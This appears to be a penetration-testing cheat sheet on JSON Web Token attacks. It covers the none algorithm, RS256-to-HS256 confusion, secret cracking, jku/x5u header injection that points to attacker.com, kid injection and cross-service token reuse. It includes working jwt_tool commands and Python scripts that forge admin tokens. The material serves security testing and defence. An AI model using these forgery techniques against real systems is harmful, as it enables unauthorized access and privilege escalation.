JWT Vulnerabilities¶
TL;DR¶
JWT attacks exploit weak signature validation, algorithm confusion, and secret brute-forcing to forge tokens.
# Test all attacks at once
python3 jwt_tool.py -M at -t "https://target.com/api/user" \
-rh "Authorization: Bearer eyJhbG..."
JWT Structure¶
Common Locations:
- Authorization: Bearer <JWT>
- Cookie: session=<JWT>
- X-Auth-Token: <JWT>
- URL parameter: ?token=<JWT>
Exploitation¶
1. Signature Not Verified¶
Modify payload, keep same signature:
2. None Algorithm Attack¶
Manual:
{"alg":"none","typ":"JWT"}
{"alg":"None","typ":"JWT"}
{"alg":"NONE","typ":"JWT"}
{"alg":"nOnE","typ":"JWT"}
Remove signature:
3. Algorithm Confusion (RS256 → HS256)¶
Server expects RS256 (asymmetric), we trick it to use HS256 with public key as secret.
# Get public key
openssl s_client -connect target.com:443 | openssl x509 -pubkey -noout > pub.pem
# Sign with public key as HMAC secret
python3 jwt_tool.py <JWT> -X k -pk pub.pem
4. Weak Secret Brute Force¶
# jwt_tool
python3 jwt_tool.py <JWT> -C -d wordlist.txt
# hashcat (faster)
hashcat -a 0 -m 16500 jwt.txt rockyou.txt
# john
john jwt.txt --wordlist=rockyou.txt --format=HMAC-SHA256
Once cracked:
5. JWK Header Injection¶
Embed attacker's key in token:
6. JKU/X5U Header Injection¶
Host malicious JWKS:
# Generate key pair
python3 jwt_tool.py -V -js JWKS
# Host at attacker server
# Modify jku in token
python3 jwt_tool.py <JWT> -X s -ju https://attacker.com/jwks.json
7. Kid Parameter Injection¶
Path traversal:
SQL injection:
Command injection:
8. Expiration Bypass¶
9. Cross-Service Token Reuse¶
# Token from service-a used on service-b
GET https://service-b.target.com/api/user
Authorization: Bearer <TOKEN_FROM_SERVICE_A>
Key Claims to Check¶
{
"alg": "HS256", // Algorithm - can be manipulated
"typ": "JWT",
"kid": "key-id", // Key identifier - injection target
"jku": "https://...", // JWK Set URL - can point to attacker
"x5u": "https://..." // X.509 cert URL - can point to attacker
}
Payload claims:
{
"sub": "1234567890", // Subject (user ID)
"name": "John Doe",
"admin": false, // Privilege - try changing
"iat": 1516239022,
"exp": 1516242622 // Expiration
}
Checklist¶
- Decode token, identify sensitive claims
- Modify payload, test if signature validated
- Try alg:none attack
- If RS256, try algorithm confusion
- Brute force HMAC secret
- Test JWK/JKU/X5U injection
- Check kid parameter for injection
- Test token expiration enforcement
- Look for cross-service token reuse
- Search for secrets in JS bundles/configs
Tools¶
- jwt_tool — All-in-one JWT testing
- Burp JWT Editor — Visual manipulation
- jwt.io — Online decoder
- hashcat — GPU secret cracking
Advanced Attack Techniques¶
Algorithm Confusion (RS256 → HS256)¶
Vulnerability: Server accepts multiple algorithms, public key exposed in JWKS.
Exploit Flow:
1. Server expects RS256 (asymmetric: private key signs, public key verifies)
2. Attacker retrieves public key from /.well-known/jwks.json
3. Attacker changes alg to HS256 (symmetric: same key for sign + verify)
4. Server uses public key as HMAC secret
5. Token validated successfully
Automated:
# Get JWKS and extract public key
curl https://target/.well-known/jwks.json | jq -r '.keys[0]'
# Generate forged token
python3 jwt_tool.py <JWT> -X k -pk public.pem
Manual (Python):
import jwt
import requests
from cryptography.hazmat.primitives import serialization
# 1. Fetch JWKS
jwks = requests.get("https://target/.well-known/jwks.json").json()
# 2. Convert to PEM (or use existing PEM)
public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
-----END PUBLIC KEY-----"""
# 3. Sign with public key as HMAC secret
payload = {"sub": "admin", "role": "admin"}
forged_token = jwt.encode(payload, public_key, algorithm="HS256")
# 4. Use forged token
headers = {"Authorization": f"Bearer {forged_token}"}
requests.get("https://target/api/admin", headers=headers)
Kid (Key ID) Injection¶
SQL Injection:
Server query:
Path Traversal:
Sign with empty secret (contents of /dev/null):
Template Injection (SSTI):
Command Injection:
JKU/X5U Header Abuse¶
JKU (JWK Set URL):
Attacker's JWKS:
{
"keys": [{
"kty": "RSA",
"kid": "attacker-key",
"use": "sig",
"n": "attacker_public_key_n...",
"e": "AQAB"
}]
}
Bypass Attempts:
// Domain whitelist bypass
{"jku": "https://attacker.com@target.com/jwks.json"}
{"jku": "https://target.com.attacker.com/jwks.json"}
{"jku": "https://target.com/redirect?url=https://attacker.com/jwks.json"}
// SSRF to internal JWKS
{"jku": "http://localhost:8080/admin/jwks.json"}
X5U (X.509 URL) - Similar:
JWK Header Embedding:
Sign with corresponding private key → self-signed token accepted.
Cross-Service Token Confusion¶
Token Type Confusion:
OIDC Flow:
1. /authorize → ID Token (user identity)
2. /token → Access Token (API permissions)
Vulnerability: Backend accepts ID token as access token
Exploit:
# Get ID token from login
POST /oauth/token
grant_type=authorization_code&code=...
Response:
{
"id_token": "eyJhbG...", // For identity
"access_token": "eyJhbG..." // For API
}
# Use ID token on API (should fail, often doesn't)
GET /api/admin/users
Authorization: Bearer <id_token>
Audience (aud) Bypass:
// Token issued for service-a
{
"aud": "service-a.target.com",
"sub": "admin",
"role": "admin"
}
// Used on service-b (should reject, often accepts)
GET https://service-b.target.com/api/admin
Authorization: Bearer <token_for_service_a>
Cross-Tenant Exploitation:
# Multi-tenant SaaS
# 1. Get token for tenant-A
login_resp = requests.post("https://target/login", json={
"tenant": "tenant-a",
"username": "attacker",
"password": "pass123"
})
token = login_resp.json()['token']
# 2. Use on tenant-B endpoint
headers = {"Authorization": f"Bearer {token}"}
requests.get("https://target/tenant-b/api/users", headers=headers)
# If no tenant validation in token → access granted
Service Mesh Confusion:
Internal services trust tokens without re-validation:
1. Get valid token from public API
2. Access internal service directly
3. Internal service trusts token without checking issuer/audience
JWKS Caching Race Condition¶
Key Rotation Scenario:
T0: Key compromised, rotation initiated
T1: New key published to JWKS endpoint
T2: Old key still in application cache (TTL: 5 mins)
T3: Attacker signs with old (compromised) key
T4: Cache hit → token validated with old key → success
Exploitation:
# Monitor JWKS endpoint
while true; do
curl -s https://target/.well-known/jwks.json | jq '.keys[].kid'
sleep 1
done
# When rotation detected, quickly use old key
jwt_tool <old_token> -S rs256 -pr compromised_key.pem -pc role -pv admin
Signature Stripping Variations¶
Truncated Signature:
Empty Signature:
Case Variations:
Practical Testing Workflow¶
# 1. Decode and analyze
jwt_tool <TOKEN>
# 2. Run all attacks automatically
jwt_tool <TOKEN> -M at -t "https://target/api/user" -rh "Authorization: Bearer TOKEN"
# 3. Manual testing priority:
# - None algorithm
# - RS256→HS256 (if JWKS available)
# - kid injection (SQL, path traversal)
# - Signature not verified
# - Secret brute force
# - Cross-service reuse
# - jku/x5u injection
# 4. Confirm with specific payload modification
jwt_tool <TOKEN> -I -pc role -pv admin
Real-World Patterns¶
Look for:
- /.well-known/jwks.json - Public keys for RS256→HS256
- /oauth/token, /auth/token - Token issuance endpoints
- Multiple services sharing auth - Cross-service confusion
- React/Vue apps - Secrets in bundle.js
- Swagger/OpenAPI - Auth flows documented
- /healthz, /debug endpoints - Exposed config with secrets